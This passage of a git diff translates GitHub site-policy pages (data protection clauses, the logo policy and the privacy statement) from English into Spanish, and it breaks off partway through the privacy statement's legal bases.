-        <li>the ability to ensure the ongoing confidentiality, integrity, availability and resilience of processing systems and services;</li>
-        <li>the ability to restore the availability and access to Personal Data in a timely manner in the event of a physical or technical incident; and</li>
-        <li>a process for regularly testing, assessing and evaluating the effectiveness of technical and organisational measures for ensuring the security of the processing. (Article 32(1))</li>
+        <li>la pseudonimización y cifrado de los Datos Personales;</li>
+        <li>la capacidad de garantizar la confidencialidad, integridad, disponibilidad y resiliencia continuas en los sistemas y servicios de procesamiento;</li>
+        <li>la capacidad de restablecer la disponibilidad y el acceso a los Datos Personales de forma oportuna en caso de que exista un incidente técnico o físico; y</li>
+        <li>un proceso para probar, valorar y evaluar frecuentemente la efectividad de las medidas técnicas y organizacionales para garantizar la seguridad del procesamiento. (Artículo 32(1))</li>
     </ol>
-    <li>In assessing the appropriate level of security, account shall be taken of the risks that are presented by processing, in particular from accidental or unlawful destruction, loss, alteration, unauthorised disclosure of, or access to Personal Data transmitted, stored or otherwise processed (Article 32(2)).</li>
-    <li>Customer and GitHub shall take steps to ensure that any natural person acting under the authority of Customer or GitHub who has access to Personal Data does not process them except on instructions from Customer, unless he or she is required to do so by Union or Member State law (Article 32(4)).</li>
-    <li>GitHub shall notify Customer without undue delay after becoming aware of a Personal Data breach (Article 33(2)). Such notification will include that information a processor must provide to a controller under Article 33(3) to the extent such information is reasonably available to GitHub.</li>
+    <li>Al evaluar el nivel de seguridad adecuado, se deberán tomar en cuenta los riesgos que se presentan con el procesamiento, particularmente, derivados de una destrucción ilegal o accidental, pérdida, alteración, divulgación no autorizada de, o acceso a los Datos Personales transmitidos, almacenados o procesados de otra forma (Artículo 32(2)).</li>
+    <li>Tanto el Cliente como GitHub deberán tomar medidas para garantizar que cualquier persona natural que actúe bajo la autoridad del Cliente o de GitHub y que tenga acceso a los Datos Personales no los procese, excepto bajo las instrucciones del Cliente, a menos de que la legislación del Estado Miembro o de la Unión así lo requieran (Artículo 32(4)).</li>
+    <li>GitHub deberá notificar al Cliente sin demora indebida después de que se entere cualquier violación a los Datos Personales (Artículo 33(2)). Dicha notificación incluirá la información que un procesador deberá proporcionar a un controlador bajo el Artículo 33(3) en medida de que dicha información se encuentre razonablemente disponible para GitHub.</li>
 </ol>
 
 ---------------
 
-<p id="EEA">(1) The Agreement on the European Economic Area (EEA Agreement) provides for the extension of the European Union’s internal market to the three EEA States Iceland, Liechtenstein and Norway. The Union data protection legislation, including Regulation (EU) 2016/679, is covered by the EEA Agreement and has been incorporated into Annex XI thereto. Therefore, any disclosure by the data importer to a third party located in the EEA does not qualify as an onward transfer for the purpose of these Clauses.</p>
+<p id="EEA">(1) El Acuerdo en el Área Económica Europea (Acuerdo AEE) proporciona la extensión del mercado interno de la Unión Europea a los tres Estados de la AAE, Islandia, Liechtenstein y Noruega. La legislación de protección de datos de la Unión, incluyendo la Regulación (UE) 2016/679, se cubre en el Acuerdo de la AEE y se ha incorporado en el Anexo IX del mismo. Por lo tanto, cualquier divulgación del importador de datos a un tercero que se ubique en la AEE no califica como una transferencia subsecuente de acuerdo con el propósito de las presentes Cláusulas.</p>
 
-<p id="dsr_reqs">(2) This requirement may be satisfied by the sub-processor acceding to these Clauses under the appropriate Module, in accordance with Clause 7. </p>
+<p id="dsr_reqs">(2) este requisito podría satisfacerse si el subprocesador acceder a estas Cláusulas bajo el módulo adecuado, de acuerdo con la Cláusula 7. </p>
 
-<p id="safeguards">(3) As regards the impact of such laws and practices on compliance with these Clauses, different elements may be considered as part of an overall assessment. Such elements may include relevant and documented practical experience with prior instances of requests for disclosure from public authorities, or the absence of such requests, covering a sufficiently representative time-frame. This refers in particular to internal records or other documentation, drawn up on a continuous basis in accordance with due diligence and certified at senior management level, provided that this information can be lawfully shared with third parties. Where this practical experience is relied upon to conclude that the data importer will not be prevented from complying with these Clauses, it needs to be supported by other relevant, objective elements, and it is for the Parties to consider carefully whether these elements together carry sufficient weight, in terms of their reliability and representativeness, to support this conclusion. In particular, the Parties have to take into account whether their practical experience is corroborated and not contradicted by publicly available or otherwise accessible, reliable information on the existence or absence of requests within the same sector and/or the application of the law in practice, such as case law and reports by independent oversight bodies.</p>
+<p id="safeguards">(3) Con respecto al impacto de dichas leyes y prácticas sobre el cumplimiento de estas Cláusulas, se pueden considerar diversos elementos como parte de una valoración general. Dichos elementos podrían incluir la experiencia práctica documentada y relevante con instancias anteriores de solicitudes para la divulgación por parte de autoridades públicas, o la ausencia de estas, cubriendo un marco de tiempo representativo suficiente. Esto se refiere en particular a los registros internos u otra documentación, elaborados bajo una base continua de acuerdo con la diligencia debida y certificada a nivel administrativo superior, en caso de que dicha información pueda compartirse legalmente con terceros. Si bien se confiará en que esta experiencia práctica concluye que no se prevendrá que el importador de los datos cumpla con estas Cláusulas, necesita respaldarse con otros elementos objetivos y relevantes y concierne a las Partes considerar cuidadosamente si dichos elementos, en conjunto, tienen el peso suficiente, en materia de su confiabilidad y representatividad, para apoyar a esta conclusión. Particularmente, las Partes deben tomar en cuanta si su experiencia práctica se corrobora y no se contradice conforme a la información confiable de disposición pública (o de otra forma) sobre la existencia o ausencia de las solicitudes dentro del mismo sector y/o la aplicación de la ley vigente, tal como leyes de casos y reportes de cuerpos de supervisión independientes.</p>
diff --git a/translations/es-ES/content/github/site-policy/github-logo-policy.md b/translations/es-ES/content/github/site-policy/github-logo-policy.md
index ec874245e8..be5fc00c45 100644
--- a/translations/es-ES/content/github/site-policy/github-logo-policy.md
+++ b/translations/es-ES/content/github/site-policy/github-logo-policy.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Logo Policy
+title: Política de logo de GitHub
 redirect_from:
   - /articles/i-m-developing-a-third-party-github-app-what-do-i-need-to-know
   - /articles/using-an-octocat-to-link-to-github-or-your-github-profile
@@ -11,6 +11,6 @@ topics:
   - Legal
 ---
 
-You can add {% data variables.product.prodname_dotcom %} logos to your website or third-party application in some scenarios. For more information and specific guidelines on logo usage, see the [{% data variables.product.prodname_dotcom %} Logos and Usage page](https://github.com/logos).
+Puede añadir {% data variables.product.prodname_dotcom %} logos a tu sitio web o aplicación de terceros en algunos escenarios. Para obtener más información y directrices específicas, consulta la[{% data variables.product.prodname_dotcom %} página de Logos y Uso](https://github.com/logos).
 
-You can also use an octocat as your personal avatar or on your website to link to your {% data variables.product.prodname_dotcom %} account, but not for your company or a product you're building. {% data variables.product.prodname_dotcom %} has an extensive collection of octocats in the [Octodex](https://octodex.github.com/). For more information on using the octocats from the Octodex, see the [Octodex FAQ](https://octodex.github.com/faq/).
+También puedes usar un octocat como tu avatar personal o en tu sitio web para vincular a tu cuenta, {% data variables.product.prodname_dotcom %} pero no para tu empresa o un producto que estás construyendo. {% data variables.product.prodname_dotcom %} tiene una extensa colección de octocats en el [Octodex](https://octodex.github.com/). Para obtener más información sobre cómo usar los octocats de Octodex, consulta las [preguntas frecuentes de Octodex](https://octodex.github.com/faq/).
diff --git a/translations/es-ES/content/github/site-policy/github-privacy-statement.md b/translations/es-ES/content/github/site-policy/github-privacy-statement.md
index a9ce688a7e..316090bcbc 100644
--- a/translations/es-ES/content/github/site-policy/github-privacy-statement.md
+++ b/translations/es-ES/content/github/site-policy/github-privacy-statement.md
@@ -1,5 +1,5 @@
 ---
-title: GitHub Privacy Statement
+title: Declaración de Privacidad de GitHub
 redirect_from:
   - /privacy
   - /privacy-policy
@@ -14,329 +14,329 @@ topics:
   - Legal
 ---
 
-Effective date: December 19, 2020
+Fecha de entrada en vigor: 19 de diciembre de 2020
 
-Thanks for entrusting GitHub Inc. (“GitHub”, “we”) with your source code, your projects, and your personal information. Holding on to your private information is a serious responsibility, and we want you to know how we're handling it.
+Gracias por confiar a GitHub Inc. (“GitHub”, “nosotros”) tu código fuente, tus proyectos y tu información personal. Mantener tu información privada es una responsabilidad importante, y queremos que sepas cómo lo hacemos.
 
-All capitalized terms have their definition in [GitHub’s Terms of Service](/github/site-policy/github-terms-of-service), unless otherwise noted here.
+Todos los términos en mayúsculas tienen su definición en las [Condiciones de Servicio de GitHub](/github/site-policy/github-terms-of-service) a menos de que se indique lo contrario.
 
 
-## The short version
+## La versión corta
 
-We use your personal information as this Privacy Statement describes. No matter where you are, where you live, or what your citizenship is, we provide the same high standard of privacy protection to all our users around the world, regardless of their country of origin or location.
+Utilizamos tu información personal como lo describe la presente Declaración de Privacidad. Sin importar quién seas, dónde vives, o cuál sea tu nacionalidad, proporcionames el mismo estándar alto de protección de la privacidad a todos nuestros usuarios en el mundo, sin importar su país de orígen o su ubicación.
 
-Of course, the short version and the Summary below don't tell you everything, so please read on for more details.
+Por supuesto, la versión corta y el Resumen que aparecen a continuación no informan todos los detalles, por lo tanto, sigue leyendo para acceder a ellos.
 
-## Summary
+## Resumen
 
-| Section | What can you find there? |
-|---|---|
-| [What information GitHub collects](#what-information-github-collects) | GitHub collects information directly from you for your registration, payment, transactions, and user profile. We also automatically collect from you your usage information, cookies, and device information, subject, where necessary, to your consent. GitHub may also collect User Personal Information from third parties. We only collect the minimum amount of personal information necessary from you, unless you choose to provide more. |
-| [What information GitHub does _not_ collect](#what-information-github-does-not-collect) | We don’t knowingly collect information from children under 13, and we don’t collect [Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/). |
-| [How GitHub uses your information](#how-github-uses-your-information) | In this section, we describe the ways in which we use your information, including to provide you the Service, to communicate with you, for security and compliance purposes, and to improve our Service. We also describe the legal basis upon which we process your information, where legally required. |
-| [How we share the information we collect](#how-we-share-the-information-we-collect) | We may share your information with third parties under one of the following circumstances: with your consent, with our service providers, for security purposes, to comply with our legal obligations, or when there is a change of control or sale of corporate entities or business units. We do not sell your personal information and we do not host advertising on GitHub. You can see a list of the service providers that access your information. |
-| [Other important information](#other-important-information) | We provide additional information specific to repository contents, public information, and Organizations on GitHub. |
-| [Additional services](#additional-services) | We provide information about additional service offerings, including third-party applications, GitHub Pages, and GitHub applications. |
-| [How you can access and control the information we collect](#how-you-can-access-and-control-the-information-we-collect) | We provide ways for you to access, alter, or delete your personal information. |
-| [Our use of cookies and tracking](#our-use-of-cookies-and-tracking) | We only use strictly necessary cookies to provide, secure and improve our service. We offer a page that makes this very transparent. Please see this section for more information. |
-| [How GitHub secures your information](#how-github-secures-your-information) | We take all measures reasonably necessary to protect the confidentiality, integrity, and availability of your personal information on GitHub and to protect the resilience of our servers. |
-| [GitHub's global privacy practices](#githubs-global-privacy-practices) | We provide the same high standard of privacy protection to all our users around the world. |
-| [How we communicate with you](#how-we-communicate-with-you) | We communicate with you by email. You can control the way we contact you in your account settings, or by contacting us. |
-| [Resolving complaints](#resolving-complaints) | In the unlikely event that we are unable to resolve a privacy concern quickly and thoroughly, we provide a path of dispute resolution. |
-| [Changes to our Privacy Statement](#changes-to-our-privacy-statement) | We notify you of material changes to this Privacy Statement 30 days before any such changes become effective. You may also track changes in our Site Policy repository. |
-| [License](#license) | This Privacy Statement is licensed under the [Creative Commons Zero license](https://creativecommons.org/publicdomain/zero/1.0/). |
-| [Contacting GitHub](#contacting-github) | Please feel free to contact us if you have questions about our Privacy Statement. |
-| [Translations](#translations) | We provide links to some translations of the Privacy Statement. |
+| Sección                                                                                                                      | ¿Qué puedes encontrar allí?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ---------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [Qué información recopila GitHub](#what-information-github-collects)                                                         | GitHub recopila información directamente a partir de tu registro, tus pagos, tus transacciones y del perfil del usuario. También, cuando es necesario, recopilamos automáticamente información de tu uso, cookies e información de dispositivo sujetos, cuando sea necesario, a tu consentimiento. Puede que GitHub también recopile Información personal del usuario a partir de terceros. Solo recopilamos la mínima cantidad de información personal necesaria a través de ti, a menos que decidas proporcionar más. |
+| [Qué información GitHub _no_ recopila](#what-information-github-does-not-collect)                                            | No recopilamos intencionalmente información de niños menores de 13 años y no recopilamos [Información personal sensible](https://gdpr-info.eu/art-9-gdpr/).                                                                                                                                                                                                                                                                                                                                                             |
+| [Cómo utiliza GitHub tu información](#how-github-uses-your-information)                                                      | En esta sección, describimos las formas en las que utilizamos tu información, incluyendo el proporcionarte el Servicio, comunicarnos contigo, para propósitos de seguridad y cumplimiento, y para mejorar nuestro Servicio. También describimos la base legal sobre la cual procesamos tu información personal, cuando se exige legalmente.                                                                                                                                                                             |
+| [Cómo compartimos la información que recopilamos](#how-we-share-the-information-we-collect)                                  | Puede que compartamos tu información con terceros en una de las siguientes circunstancias: con tu consentimiento, con nuestros proveedores de servicio, por motivos de seguridad, para cumplir con nuestras obligaciones legales o cuando exista un cambio de control o venta de las entidades corporativas o unidades de negocios. En GitHub, no vendemos tu información personal y no alojamos publicidad. Puedes consultar una lista de los proveedores de servicio que acceden a tu información.                    |
+| [Otra información importante](#other-important-information)                                                                  | Proporcionamos más información específica sobre los contenidos del repositorio, la información pública y las Organizaciones de GitHub.                                                                                                                                                                                                                                                                                                                                                                                  |
+| [Servicios adicionales](#additional-services)                                                                                | Proporcionamos información sobre las ofertas de servicio adicionales, incluso aplicaciones de terceros, Páginas de GitHub y aplicaciones de GitHub.                                                                                                                                                                                                                                                                                                                                                                     |
+| [Cómo puedes acceder y controlar la información que recopilamos](#how-you-can-access-and-control-the-information-we-collect) | Proporcionamos formas para que accedas, modifiques o elimines tu información personal.                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| [Uso de cookies y seguimiento](#our-use-of-cookies-and-tracking)                                                             | Solo utilizamos las cookies estrictamente necesarias para proporcionar, asegurar y mejorar nuestro servicio. Ofrecemos una página que hace que esto sea muy transparente. Consulta esta sección para obtener más información.                                                                                                                                                                                                                                                                                           |
+| [Cómo asegura GitHub tu información](#how-github-secures-your-information)                                                   | Tomamos todas las medidas razonablemente necesarias para proteger la confidencialidad, integridad y disponibilidad de tu información personal en GitHub y para proteger la resistencia de nuestros servidores.                                                                                                                                                                                                                                                                                                          |
+| [Prácticas de privacidad mundiales de GitHub](#githubs-global-privacy-practices)                                             | Proporcionamos el mismo estándar alto de protección de la privacidad a todos nuestros usuarios en el mundo entero.                                                                                                                                                                                                                                                                                                                                                                                                      |
+| [Cómo nos comunicamos contigo](#how-we-communicate-with-you)                                                                 | Nos comunicamos contigo por correo electrónico. Puedes controlar la manera en que te contactamos en las configuraciones de la cuenta o poniéndote en contacto con nosotros.                                                                                                                                                                                                                                                                                                                                             |
+| [Resolver reclamos](#resolving-complaints)                                                                                   | En el caso improbable de que no podamos resolver una inquietud sobre la privacidad de forma rápida y exhaustiva, proporcionaremos un medio de resolución por medio de una disputa.                                                                                                                                                                                                                                                                                                                                      |
+| [Cambios en tu Declaración de privacidad](#changes-to-our-privacy-statement)                                                 | Te notificamos los cambios importantes en esta Declaración de privacidad 30 días antes de que cualquier cambio entre en vigencia. Puedes rastrear los cambios en nuestro repositorio de Políticas del sitio.                                                                                                                                                                                                                                                                                                            |
+| [Licencia](#license)                                                                                                         | La presente Declaración de privacidad está autorizada por la [licencia Creative Commons Zero](https://creativecommons.org/publicdomain/zero/1.0/).                                                                                                                                                                                                                                                                                                                                                                      |
+| [Contactarse con GitHub](#contacting-github)                                                                                 | Siéntete libre de contactarnos si tienes preguntas acerca de nuestra Declaración de privacidad.                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| [Traducciones](#translations)                                                                                                | Proporcionamos enlaces a algunas traducciones de la Declaración de privacidad.                                                                                                                                                                                                                                                                                                                                                                                                                                          |
 
-## GitHub Privacy Statement
+## Declaración de Privacidad de GitHub
 
-## What information GitHub collects
+## Qué información recopila GitHub
 
-"**User Personal Information**" is any information about one of our Users which could, alone or together with other information, personally identify them or otherwise be reasonably linked or connected with them. Information such as a username and password, an email address, a real name, an Internet protocol (IP) address, and a photograph are examples of “User Personal Information.”
+La "**Información personal del usuario**" es cualquier información acerca de alguno de nuestros Usuarios que podría, de manera independiente o junto con otra información, identificarlo individualmente, o que está vinculada o conectada de cualquier otra forma con él. Información como un nombre de usuario y contraseña, una dirección de correo electrónico, un nombre real, una dirección de Protocolo de Internet (IP) y una fotografía son ejemplos de "Información personal del usuario".
 
-User Personal Information does not include aggregated, non-personally identifying information that does not identify a User or cannot otherwise be reasonably linked or connected with them. We may use such aggregated, non-personally identifying information for research purposes and to operate, analyze, improve, and optimize our Website and Service.
+La Información personal del usuario no incluye información agregada, información de carácter no personal que no identifica a un Usuario o que no se puede vincular o conectar de manera razonable con él. Podemos utilizar dicha información agregada que no identifica de manera personal a un usuario con motivos de investigación y para operar, analizar y optimizar nuestro Sitio web y el Servicio.
 
-### Information users provide directly to GitHub
+### Información que los usuarios proporcionan directamente a GitHub
 
-#### Registration information
-We require some basic information at the time of account creation. When you create your own username and password, we ask you for a valid email address.
+#### Información de registro
+Necesitamos cierta información básica al momento de creación de la cuenta. Cuando creas tu propio nombre de usuario y contraseña, te solicitamos una dirección de correo electrónico válida.
 
-#### Payment information
-If you sign on to a paid Account with us, send funds through the GitHub Sponsors Program, or buy an application on GitHub Marketplace, we collect your full name, address, and credit card information or PayPal information. Please note, GitHub does not process or store your credit card information or PayPal information, but our third-party payment processor does.
+#### Información de Pago
+Si te registras para una Cuenta paga, envías fondos a través del Programa de patrocinadores de GitHub o compras una aplicación en el Mercado GitHub, recopilamos tu nombre completo y la información de la tarjeta de crédito o la información de PayPal. Ten en cuenta que GitHub no procesa ni almacena tu información de tarjeta de crédito o información de PayPal, pero sí lo hace nuestro procesador de pago subcontratado.
 
-If you list and sell an application on [GitHub Marketplace](https://github.com/marketplace), we require your banking information. If you raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we require some [additional information](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) through the registration process for you to participate in and receive funds through those services and for compliance purposes.
+Si detallas y vendes una aplicación en el [Mercado GitHub](https://github.com/marketplace), te solicitamos la información de tu banco. Si recabas fondos a través del [Programa de Patrocinadores de GitHub](https://github.com/sponsors), necesitamos algo de [información adicional](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account#submitting-your-bank-information) mediante el proceso de registro para que participes y recibas los fondos a través de estos servicios y para propósitos de cumplimiento.
 
-#### Profile information
-You may choose to give us more information for your Account profile, such as your full name, an avatar which may include a photograph, your biography, your location, your company, and a URL to a third-party website. This information may include User Personal Information. Please note that your profile information may be visible to other Users of our Service.
+#### Información de perfil
+Puedes decidir proporcionarnos más información para tu Perfil de cuenta, como tu nombre completo, un avatar que puede incluir una fotografía, tu biografía, tu ubicación, tu empresa y una URL a un sitio web de terceros. Esta información puede incluir Información personal del usuario. Ten en cuenta que tu información de perfil puede ser visible para otros Usuarios de nuestro Servicio.
 
-### Information GitHub automatically collects from your use of the Service
+### Información que GitHub recopila automáticamente a partir del uso del Servicio
 
-#### Transactional information
-If you have a paid Account with us, sell an application listed on [GitHub Marketplace](https://github.com/marketplace), or raise funds through the [GitHub Sponsors Program](https://github.com/sponsors), we automatically collect certain information about your transactions on the Service, such as the date, time, and amount charged.
+#### Información transaccional
+Si tienes una Cuenta paga con nosotros, vendes una aplicación detallada en el [Mercado GitHub](https://github.com/marketplace) o recaudas fondos a través del [Programa de patrocinadores de GitHub](https://github.com/sponsors), automáticamente recopilamos determinada información acerca de tus transacciones en el Servicio, como la fecha, la hora y el monto cobrado.
 
-#### Usage information
-If you're accessing our Service or Website, we automatically collect the same basic information that most services collect, subject, where necessary, to your consent. This includes information about how you use the Service, such as the pages you view, the referring site, your IP address and session information, and the date and time of each request. This is information we collect from every visitor to the Website, whether they have an Account or not. This information may include User Personal information.
+#### Información de uso
+Si accedes a nuestro Servicio o Sitio web, automáticamente recopilamos la misma información básica que recopila la mayoría de los servicios, sujeto a tu consentimiento cuando resulte necesario. Esto incluye información acerca de cómo utilizas el Servicio, por ejemplo, las páginas que miras, el sitio referido, tu dirección IP e información de sesión, y la fecha y hora de cada solicitud. Recopilamos esta información de todos los visitantes del Sitio web, tengan o no una Cuenta. Esta información puede incluir Información personal del usuario.
 
 #### Cookies
-As further described below, we automatically collect information from cookies (such as cookie ID and settings) to keep you logged in, to remember your preferences, to identify you and your device and to analyze your use of our service.
+De acuerdo a como se describe a continuación, recolectamos automáticamente la información de las cookies (tales como la ID y configuración de éstas) para mantenerte con una sesión iniciada, para recordar tus preferencias, para identificarte tanto a ti como a tu dispositivo y para analizar tu uso de nuestro servicio.
 
-#### Device information
-We may collect certain information about your device, such as its IP address, browser or client application information, language preference, operating system and application version, device type and ID, and device model and manufacturer. This information may include User Personal information.
+#### Información de dispositivo
+Puede que recopilemos determinada información acerca de tu dispositivo, como la dirección IP, el navegador o información de la aplicación del cliente, preferencias de idioma, sistema operativo y versión de la aplicación, tipo e ID del dispositivo y modelo y fabricante del dispositivo. Esta información puede incluir Información personal del usuario.
 
-### Information we collect from third parties
+### Información que recopilamos de terceros
 
-GitHub may collect User Personal Information from third parties. For example, this may happen if you sign up for training or to receive information about GitHub from one of our vendors, partners, or affiliates. GitHub does not purchase User Personal Information from third-party data brokers.
+GitHub puede recopilar Información personal del usuario a partir de terceros. Por ejemplo, esto puede ocurrir si inicias sesión para capacitarte o recibir información acerca de GitHub de parte de alguno de nuestros proveedores, socios o subsidiarias. GitHub no compra Información personal del usuario a agentes de datos de terceros.
 
-## What information GitHub does not collect
+## Qué información no recopila GitHub
 
-We do not intentionally collect “**[Sensitive Personal Information](https://gdpr-info.eu/art-9-gdpr/)**”, such as personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs, or trade union membership, and the processing of genetic data, biometric data for the purpose of uniquely identifying a natural person, data concerning health or data concerning a natural person’s sex life or sexual orientation. If you choose to store any Sensitive Personal Information on our servers, you are responsible for complying with any regulatory controls regarding that data.
+No recopilamos de manera intencional “**[Información personal sensible](https://gdpr-info.eu/art-9-gdpr/)**”, como datos personales que revelan origen racial o étnico, opiniones políticas, creencias religiosas o filosóficas o afiliación sindical, y tampoco procesamos datos genéticos ni datos biométricos con el único fin de identificar a una persona física, datos del estado de salud o datos sobre la vida sexual o la orientación sexual de una persona física. Si decides almacenar alguna Información personal en tus servidores, eres responsable de cumplir con cualquier control regulatorio al respecto de esos datos.
 
-If you are a child under the age of 13, you may not have an Account on GitHub. GitHub does not knowingly collect information from or direct any of our content specifically to children under 13. If we learn or have reason to suspect that you are a User who is under the age of 13, we will have to close your Account. We don't want to discourage you from learning to code, but those are the rules. Please see our [Terms of Service](/github/site-policy/github-terms-of-service) for information about Account termination. Different countries may have different minimum age limits, and if you are below the minimum age for providing consent for data collection in your country, you may not have an Account on GitHub.
+Si eres un niño menor de 13 años, no puedes tener una Cuenta en GitHub. GitHub no recopila intencionalmente información de niños menores de 13 años ni dirige ninguno de nuestros contenidos de manera específica a ellos. Si sabemos o tenemos motivos para sospechar que eres un Usuario menor de 13 años, tendremos que cerrar tu Cuenta. No queremos desalentarte de que aprendas nuestro código, pero esas son las reglas. Por favor, consulta nuestras [Condiciones de Servicio](/github/site-policy/github-terms-of-service) para la información acerca de la cancelación de la cuenta. Puede que los diferentes países tengan diferentes límites de edad mínimos. Si estás por debajo de la edad mínima para brindar consentimiento para la recopilación de datos en tu país, no puedes tener una Cuenta en GitHub.
 
-We do not intentionally collect User Personal Information that is **stored in your repositories** or other free-form content inputs. Any personal information within a user's repository is the responsibility of the repository owner.
+No recopilamos de manera intencional la Información personal del usuario que está **almacenada en tus repositorios** u otros ingresos de contenido de forma libre. Toda información personal dentro del repositorio de un usuario es responsabilidad del propietario del repositorio.
 
-## How GitHub uses your information
+## Cómo utiliza GitHub tu información
 
-We may use your information for the following purposes:
-- We use your [Registration Information](#registration-information) to create your account, and to provide you the Service.
-- We use your [Payment Information](#payment-information) to provide you with the Paid Account service, the Marketplace service, the Sponsors Program, or any other GitHub paid service you request.
-- We use your User Personal Information, specifically your username, to identify you on GitHub.
-- We use your [Profile Information](#profile-information) to fill out your Account profile and to share that profile with other users if you ask us to.
-- We use your email address to communicate with you, if you've said that's okay, **and only for the reasons you’ve said that’s okay**. Please see our section on [email communication](#how-we-communicate-with-you) for more information.
-- We use User Personal Information to respond to support requests.
-- We use User Personal Information and other data to make recommendations for you, such as to suggest projects you may want to follow or contribute to. We learn from your public behavior on GitHub—such as the projects you star—to determine your coding interests, and we recommend similar projects. These recommendations are automated decisions, but they have no legal impact on your rights.
-- We may use User Personal Information to invite you to take part in surveys, beta programs, or other research projects, subject, where necessary, to your consent .
-- We use [Usage Information](#usage-information) and [Device Information](#device-information) to better understand how our Users use GitHub and to improve our Website and Service.
-- We may use your User Personal Information if it is necessary for security purposes or to investigate possible fraud or attempts to harm GitHub or our Users.
-- We may use your User Personal Information to comply with our legal obligations, protect our intellectual property, and enforce our [Terms of Service](/github/site-policy/github-terms-of-service).
-- We limit our use of your User Personal Information to the purposes listed in this Privacy Statement. If we need to use your User Personal Information for other purposes, we will ask your permission first. You can always see what information we have, how we're using it, and what permissions you have given us in your [user profile](https://github.com/settings/admin).
+Podemos utilizar tu información con los siguientes fines:
+- Utilizamos tu [Información de registro](#registration-information) para crear tu cuenta y para proporcionarte el Servicio.
+- Utilizamos tu [Información de pago](#payment-information) para proporcionarte el servicio de Cuenta paga, el servicio de Mercado, el Programa de patrocinadores o cualquier otro servicio pago de GitHub que solicites.
+- Utilizamos tu Información personal del usuario, específicamente tu nombre de usuario, para identificarte en GitHub.
+- Utilizamos tu [Información del perfil](#profile-information) para completar tu perfil de Cuenta y para compartir ese perfil con otros usuarios, si nos pides que lo hagamos.
+- Utilizamos tu dirección de correo electrónico para comunicarnos contigo, si estuviste de acuerdo con ello, **y solo por las razones con las que estuviste de acuerdo**. Consulta nuestra sección en [comunicación por correo electrónico](#how-we-communicate-with-you) para obtener más información.
+- Utilizamos Información personal del usuario para responder a las solicitudes de soporte técnico.
+- Utilizamos Información personal del usuario y otros datos para hacerte recomendaciones, por ejemplo, sugerir proyectos que puedes querer seguir o con los que puedes querer contribuir. Aprendemos de tu comportamiento público en GitHub, por ejemplo, los proyectos a los que les pones estrellas, para determinar tus intereses de codificación y recomendamos proyectos similares. Estas recomendaciones son decisiones automáticas, pero no tienen un impacto legal en tus derechos.
+- Podemos utilizar Información personal del usuario para invitarte a formar parte de las encuestas, los programas beta u otros proyectos de investigación, sujeto a tu consentimiento cuando resulte necesario.
+- Utilizamos [Información de uso](#usage-information) e [Información del dispositivo](#device-information) para comprender mejor cómo utilizan GitHub nuestros Usuarios y para mejorar nuestro Sitio web y el Servicio.
+- Si es necesario, podemos utilizar tu Información personal del usuario por motivos de seguridad o para investigar posibles fraudes o intentos de dañar a GitHub o a nuestros Usuarios.
+- Podríamos utilizar tu Información personal de usuario para cumplir con nuestras obligaciones legales, proteger nuestra propiedad intelectual y hacer cumplir nuestras [Condiciones de Servicio](/github/site-policy/github-terms-of-service).
+- Restringimos nuestro uso de tu Información personal del Usuario para los fines detallados en esta Declaración de privacidad. Si necesitamos utilizar tu Información personal del usuario para otros fines, te pediremos permiso primero. Siempre puedes ver qué información tenemos, cómo la estamos utilizando y qué permisos nos has dado en tu [perfil de usuario](https://github.com/settings/admin).
 
-### Our legal bases for processing information
+### Nuestras bases legales para el procesamiento de información
 
-To the extent that our processing of your User Personal Information is subject to certain international laws (including, but not limited to, the European Union's General Data Protection Regulation (GDPR)), GitHub is required to notify you about the legal basis on which we process User Personal Information. GitHub processes User Personal Information on the following legal bases:
+En la medida que el procesamiento de tu Información personal del usuario esté sujeto a determinadas normas internacionales (incluido, entre otros, el Reglamento General de Protección de Datos [RGPD]) de la Unión Europea, se le exige a GitHub que te notifique acerca de la base legal sobre la cual procesamos la Información personal del usuario. GitHub procesa la Información personal del usuario sobre las siguientes bases legales:
 
-- Contract Performance:
-  * When you create a GitHub Account, you provide your [Registration Information](#registration-information). We require this information for you to enter into the Terms of Service agreement with us, and we process that information on the basis of performing that contract. We also process your username and email address on other legal bases, as described below.
-  * If you have a paid Account with us, we collect and process additional [Payment Information](#payment-information) on the basis of performing that contract.
-  * When you buy or sell an application listed on our Marketplace or, when you send or receive funds through the GitHub Sponsors Program, we process [Payment Information](#payment-information) and additional elements in order to perform the contract that applies to those services.
-- Consent:
-  * We rely on your consent to use your User Personal Information under the following circumstances: when you fill out the information in your [user profile](https://github.com/settings/admin); when you decide to participate in a GitHub training, research project, beta program, or survey; and for marketing purposes, where applicable. All of this User Personal Information is entirely optional, and you have the ability to access, modify, and delete it at any time. While you are not able to delete your email address entirely, you can make it private. You may withdraw your consent at any time.
-- Legitimate Interests:
-  * Generally, the remainder of the processing of User Personal Information we perform is necessary for the purposes of our legitimate interest, for example, for legal compliance purposes, security purposes, or to maintain ongoing confidentiality, integrity, availability, and resilience of GitHub’s systems, Website, and Service.
-- If you would like to request deletion of data we process on the basis of consent or if you object to our processing of personal information, please use our [Privacy contact form](https://support.github.com/contact/privacy).
+- Ejecución del contrato:
+  * Cuando creas una Cuenta de GitHub, proporcionas tu [Información de registro](#registration-information). Solicitamos esta información para que celebres el acuerdo de Términos del Servicio con nosotros y procesamos esa información sobre la base de la ejecución de ese contrato. También procesamos tu nombre de usuario y dirección de correo electrónico sobre otras bases legales, como se describe a continuación.
+  * Si tienes una Cuenta paga con nosotros, recopilamos y procesamos más [Información de pago](#payment-information) sobre la base de la ejecución de ese contrato.
+  * Cuando compras o vendes una aplicación listada en nuestro Marketplace o, cuando envías o recibes fondos a través del Programa GitHub Sponsors, procesamos la [Información de pago](#payment-information) y elementos adicionales para realizar el contrato que se aplica a esos servicios.
+- Consentimiento:
